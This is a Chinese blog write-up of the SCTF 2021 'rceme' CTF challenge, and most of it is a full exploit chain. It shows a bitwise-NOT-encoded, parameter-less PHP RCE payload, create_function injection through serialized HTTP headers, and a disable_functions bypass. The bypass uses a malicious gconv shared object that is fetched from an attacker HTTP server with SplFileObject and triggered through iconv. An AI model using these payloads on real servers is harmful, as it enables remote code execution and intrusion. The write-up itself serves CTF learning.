SCTF 2021 rceme
本文最后更新于50 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

Pasted image 20260111120817.png

一、访问题目

输出了很多disabled_functions
Pasted image 20260111171606.png

二、分析源码

源码如下

<?php  
if(isset($_POST['cmd'])){  
    $code = $_POST['cmd'];  
    if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){  
        die('<script>alert(\'Try harder!\');history.back()</script>');  
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){  
        @eval($code);  
        die();  
    }  
} else {  
    highlight_file(__FILE__);  
    var_dump(ini_get("disable_functions"));  
}  
?>

第一个匹配

/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm

所有字母大小写、数字、单引号'、双引号"、反引号’ 、空格、逗号,、减号-、加号+、等号=、正斜杠/、反斜杠\、左尖括号<、右尖括号>、美元符$、问号?、异或符^、与符&、竖线符|
无字母数字RCE

第二个匹配

';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code

所有符合「函数调用格式」的内容全部删掉,删干净后如果只剩下一个分号;
[^\s\(\)]+? → 匹配:除了「空白符、左圆括号 (、右圆括号 )」之外的任意连续字符
简单来说就是无参数RCE,可以嵌套,如func(func()),但是函数名中不能有(),所以区反绕过的(~%xx)()显示不适用

看到var_dump(ini_get("disable_functions"));,多半要考绕过disabled_functions

获取disabled_functions的方法

1.phpinfo()
2.var_dump(ini_get(“disable_functions”));
3.var_dump(get_cfg_var(“disable_functions”));
其他的
var_dump(get_cfg_var(“open_basedir”));
var_dump(ini_get_all());

三、构造payload

1.获取没有过滤的函数

strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders

2.使用create_function函数执行命令

这里逗号被过滤,为了传入参数,我们可以使用可变参数列表实现
在PHP 5.6以后,参数列表可以包括…,他表示函数接受任意数量的参数。参数将作为数组传递到给定的变量中

<?php
$args=['','}system("whoami");//'];
create_function(...$args);
?>

create_function是用eval创建函数,利用}闭合前面的{,然后执行代码,最后利用//来注释点后面的}

function __lambda_func() {
{
    }system("whoami");// 
}
}

构造函数

create_function(...unserialize(end(getallheaders())))

end:将array的内部指针移动到最后一个单元并返回其值。
getallheaders:获取全部 HTTP 请求头信息,得到一个数组(有键值对)

构造序列化内容

<?php
$arr=['','}eval($_POST["a"]);//'];
$str=serialize($arr);
echo $str;
a:2:{i:0;s:0:"";i:1;s:21:"}eval($_POST["a"]);//";}

将这串得到的序列化字符,放在http保报文头部最后,然后反序列化,就可以触发代码

取反结合异或[!%FF],(~%xx)()形式被过滤
[~%8f%97%8f%96%91%99%90][!%FF]()phpinfo()(~%8f%97%8f%96%91%99%90)()

exp = ""  
def urlbm(s):  
    ss = ""  
    for each in s:  
        ss += "%" + str(hex(255 - ord(each)))[2:]  
    return f"[~{ss}][!%FF]("  
while True:  
    fun = input("Firebasky>: ").strip(")").split("(")  
    exp = ''  
    for each in fun[:-1]:  
        exp += urlbm(each)  
        print(exp)  
    exp += ")" * (len(fun) - 1) + ";"  
    print(exp)

Pasted image 20260111175406.png

call_user_func(…unserialize(end(getallheaders())));的payload

[~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c][!%FF](...[~%d1%d1%d1%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));

Pasted image 20260111180939.png

然后发现其他命令用不了,只能进行绕过
Pasted image 20260111184028.png

3.绕过disabled_functions

利用iconv去绕过df

1.创建payload.c

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("bash -c '/readflag > /tmp/sna'");
  exit(0);
}

2.生成so文件

gcc payload.c -o payload.so -shared -fPIC 

3.再创建一个gconv-modules文件

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

Pasted image 20260111183807.png

4.开启http服务,让靶机可以访问上传的payload文件
Pasted image 20260111184133.png

5.然后利用 SplFileObject 写 payload.so 和 gconv-modules
一定等响应包状态为200,才是写进去文件了

a=$url="http://xx.xx.171.248:8000/payload.so";$file1=new
SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
a=$url = "http://xx.xx.171.248:8000/gconv-modules";$file1 = new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);

Pasted image 20260111184743.png

6.利用伪协议触发

a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");

7.进行读取

a=show_source("/tmp/sna");

Pasted image 20260111185017.png

总结

  • 无字母数字RCE:取反结合异或[!%FF]
    (~%xx)()形式的(和)被过滤,使用[]绕过

  • 无参数RCE:可变参数列表绕过函数中的逗号被过滤
    create_function(…unserialize(end(getallheaders())))

  • disabled_functions绕过:iconv绕过
    文章参考

https://xz.aliyun.com/t/8669#toc-8
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇